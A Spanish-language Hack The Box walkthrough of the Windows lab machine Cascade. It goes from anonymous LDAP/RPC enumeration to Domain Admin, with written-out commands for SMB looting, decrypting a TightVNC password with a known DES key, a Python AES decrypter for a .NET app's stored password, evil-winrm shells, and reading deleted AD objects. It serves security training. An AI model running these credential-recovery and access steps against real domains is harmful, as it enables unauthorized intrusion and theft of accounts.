Cascade
Cascade es una máquina Windows de Hack The Box centrada en enumeración de Active Directory, credenciales expuestas mediante LDAP y TightVNC, análisis de aplicaciones .NET y abuso del grupo AD Recycle Bin para comprometer al administrador del dominio.

- Plataforma
- Hack The Box
- Sistema operativo
- Windows
- Dificultad
- Intermedio
- Publicado
- Autor
- Pedro Vargas
- Temas
- Active Directory
- LDAP
- RPC
- SMB
- Base64
- Tightvnc
- Sqlite
- Dnspy
- AD Recycle Bin
- Escalamiento de Privilegios
En esta página
Resumen
Cascade es una máquina Windows de Hack The Box donde una enumeración LDAP anónima nos permite conseguir las primeras credenciales del dominio. A partir de ellas iremos pivotando entre recursos SMB, una contraseña de TightVNC, una base de datos SQLite y una aplicación .NET hasta comprometer la cuenta ArkSvc. Finalmente, su pertenencia al grupo AD Recycle Bin nos permitirá recuperar la contraseña de una cuenta eliminada y reutilizarla para acceder como Administrator.
Enumeración
Comenzamos escaneando los 1000 puertos más comunes:
nmap --top-ports 1000 10.129.58.76 --open -sV

Los resultados muestran claramente que estamos frente a un entorno Windows con Active Directory.
Entre los servicios más interesantes tenemos:
- Kerberos
- RPC
- LDAP
- SMB
- WinRM
Tenemos bastantes superficies por donde comenzar, así que decidí centrarme primero en la enumeración del dominio. 🔎
Enumeración mediante RPC
Probamos si RPC permite una sesión nula:
rpcclient -U "" 10.129.58.76 -N
La conexión funciona.
Desde rpcclient podemos enumerar los usuarios:
enumdomusers
Esto nos permite obtener una primera lista de cuentas del dominio sin disponer todavía de credenciales.
Aunque podemos continuar sacando información mediante RPC, LDAP también acepta consultas anónimas, así que decidí investigar por ahí.

Enumeración LDAP
Primero necesitamos conocer el Base DN utilizado por el dominio:
ldapsearch -x -H ldap://10.129.58.76 -s base namingcontexts

Entre los resultados obtenemos:
DC=cascade,DC=local
Con esto ya podemos lanzar una consulta completa:
ldapsearch -x -H ldap://10.129.58.76 -D '' -w '' -b "DC=cascade,DC=local"
Revisando los atributos de los usuarios aparece algo especialmente interesante en la cuenta:
r.thompson
Existe un atributo personalizado llamado:
cascadeLegacyPwd
cuyo contenido parece Base64.

Lo decodificamos y obtenemos:
r.thompson:rY4n5eva

🎯 Ya tenemos nuestras primeras credenciales.
Como alternativa, esta misma enumeración podría realizarse con herramientas como
windapsearch.
Enumeración SMB como r.thompson
Probamos las credenciales con NetExec y enumeramos los shares:
nxc smb 10.129.58.76 -u r.thompson -p 'rY4n5eva' --shares
Entre los recursos disponibles encontramos:
Data
Nos conectamos:
smbclient //cascade.local/Data -U 'r.thompson%rY4n5eva'

Dentro del share encontramos bastantes archivos interesantes.
Entre ellos descargué:
Meeting_Notes_June_2018.html
ArkAdRecycleBin.log
dcdiag.log
VNC Install.reg

Una pista sobre TempAdmin
Comenzamos revisando las notas:
cat Meeting_Notes_June_2018.html

El archivo contiene una frase especialmente importante:
The TempAdmin password is the same as the normal admin account password.
Todavía no conocemos ninguna de las dos contraseñas, pero merece la pena guardar esta información porque puede convertirse en algo muy útil posteriormente. 👀
Ark AD Recycle Bin
Después revisamos:
cat ArkAdRecycleBin.log

El log muestra actividad relacionada con:
ArkSvc
y revela que una cuenta llamada:
TempAdmin
había sido eliminada y enviada a la Papelera de reciclaje de Active Directory.
De momento tampoco podemos aprovecharlo, pero ya tenemos dos piezas relacionadas:
TempAdmin fue eliminado
+
TempAdmin reutilizaba la contraseña del Administrator
Las dejamos apuntadas y continuamos.
Descifrando la contraseña de TightVNC
Otro de los archivos interesantes era:
VNC Install.reg
Al revisarlo encontramos una configuración de TightVNC que contiene:
Password=hex:6b,cf,2a,4b,6e,5a,ca,0f

Este valor no es simplemente hexadecimal: representa una contraseña de TightVNC cifrada utilizando su conocido esquema basado en DES.
Utilicé como referencia el proyecto:
https://github.com/frizb/PasswordDecrypts
y ejecuté:
echo -n 6bcf2a4b6e5aca0f | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d | hexdump -Cv

El resultado revela la contraseña:
sT333ve2
Por el contexto de los archivos podemos asociarla al usuario:
s.smith
Ya tenemos nuevas credenciales. 🔑
Enumeración como s.smith
Probamos primero qué recursos SMB puede leer:
nxc smb cascade.local -u 's.smith' -p 'sT333ve2' --shares
Ahora aparece un recurso que antes no teníamos disponible:
Audit$

Nos conectamos:
smbclient //cascade.local/Audit$ \
-U 's.smith%sT333ve2'
Dentro encontramos varios archivos relacionados con una aplicación interna de auditoría.
Descargué todo el contenido para analizarlo desde Kali.
Analizando Audit.db
smbclient //cascade.local/Audit$ -U ‘s.smith%sT333ve2’

Entre los archivos encontramos una base de datos:
Audit.db
La abrí con DB Browser for SQLite.
Dentro aparece una tabla que contiene información de la cuenta:
ArkSvc
junto con una contraseña.

El problema es que el valor está cifrado.
A primera vista parece Base64 porque utiliza ese formato para representar los bytes, pero decodificarlo directamente no nos da la contraseña.
Tenemos que descubrir cómo la propia aplicación la descifra. 🧩
Reverse engineering de CascAudit
Usamos https://github.com/dnspy/dnspy para poder hacer reversing al archivo .exe y DLLs
Dentro del mismo share encontramos ejecutables y librerías .NET utilizados por la aplicación de auditoría.
Uno de los archivos era: CascAudit.exe
Lo abrí utilizando dnSpy para revisar su código.
Siguiendo la lógica del programa encontramos que la contraseña recuperada desde SQLite pasa por una función similar a:
Crypto.DecryptString(...)


Pero esa implementación no estaba dentro del ejecutable principal.
Revisando sus dependencias encontramos: CascCrypto.dll
Así que abrimos también esta DLL con dnSpy.
Y aquí aparece exactamente lo que necesitábamos. 😈
La aplicación utilizaba:
AES
CBC
128-bit Key
128-bit Block Size
junto con una clave y un IV conocidos.
En concreto:
KEY = c4scadek3y654321
IV = 1tdyjCbY1Ix49842

Con toda la lógica de descifrado disponible, podemos reproducirla fácilmente.
Creando nuestro decrypter
Preparé un pequeño script en Python:
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY = b"c4scadek3y654321"
IV = b"1tdyjCbY1Ix49842"
def decrypt_string(encrypted_string):
encrypted = base64.b64decode(encrypted_string)
cipher = AES.new(
KEY,
AES.MODE_CBC,
IV
)
decrypted = cipher.decrypt(encrypted)
decrypted = unpad(decrypted, AES.block_size)
return decrypted.decode("utf-8")
encrypted_text = input("Texto cifrado Base64: ")
try:
plaintext = decrypt_string(encrypted_text)
print(f"[+] Descifrado: {plaintext}")
except Exception as e:
print(f"[-] Error: {e}")

Le proporcionamos el valor encontrado en Audit.db y obtenemos:
ArkSvc:w3lc0meFr31nd
¡Otro usuario comprometido! 🎯
Acceso mediante WinRM
Comprobamos primero si las credenciales permiten conectarnos mediante WinRM:
nxc winrm cascade.local -u 'ArkSvc' -p 'w3lc0meFr31nd'
La autenticación funciona.
Así que conseguimos una shell utilizando Evil-WinRM:
evil-winrm -i cascade.local -u arksvc -p w3lc0meFr31nd
Ya tenemos una sesión interactiva como:
ACCESS\ArkSvc
Ahora toca buscar nuestro camino hasta Administrator.
Enumeración de grupos
Una de las primeras comprobaciones fue:
whoami /groups
Entre los grupos del usuario encontramos:
AD Recycle Bin
Entre los grupos del usuario encontramos:
AD Recycle Bin
🎯 Esto encaja perfectamente con las pistas que habíamos encontrado al principio.
Los miembros del grupo AD Recycle Bin tienen capacidad para consultar determinados objetos eliminados de Active Directory.

Y nosotros ya sabemos que existe uno que nos interesa mucho:
TempAdmin
Recuperando objetos eliminados
Utilizamos PowerShell para consultar los objetos eliminados:
Get-ADObject -Filter 'isDeleted -eq $true -and name -ne "Deleted Object"' -IncludeDeletedObjects -Property *
Entre los resultados aparece:
TempAdmin
Y, sorprendentemente, el objeto eliminado todavía conserva el atributo:
cascadeLegacyPwd

Exactamente el mismo tipo de atributo que habíamos utilizado al principio para comprometer a r.thompson.
Decodificamos nuevamente el valor Base64 y obtenemos:
baCT3r1aN00dles

Ahora recordemos aquella frase que encontramos muchísimo antes:
TempAdmin password is the same as the normal admin account password.
🔥 Ya tenemos la contraseña de Administrator.
Acceso como Administrator
Inicialmente podemos intentar utilizar las credenciales contra TempAdmin, pero recordemos que esta cuenta está eliminada, así que no podrá autenticarse normalmente.
La información importante era que su contraseña coincidía con la del administrador.
Probamos directamente:
evil-winrm -i cascade.local \
-u administrator \
-p 'baCT3r1aN00dles'
La autenticación funciona.
Comprobamos:
whoami
Y obtenemos:
cascade\administrator

¡Cascade completada! 🚩
Conclusiones
Cascade es una máquina bastante completa porque prácticamente todo gira alrededor de información que nunca debió quedar expuesta: atributos LDAP, contraseñas de VNC, credenciales almacenadas en una aplicación interna y objetos eliminados de Active Directory. Lo interesante es cómo pequeñas pistas encontradas al comienzo, como TempAdmin, terminan siendo fundamentales mucho más adelante para llegar hasta Administrator.
Herramientas utilizadas
- Nmap
- rpcclient
- ldapsearch
- NetExec
- smbclient
- OpenSSL
- DB Browser for SQLite
- dnSpy
- Python
- Evil-WinRM


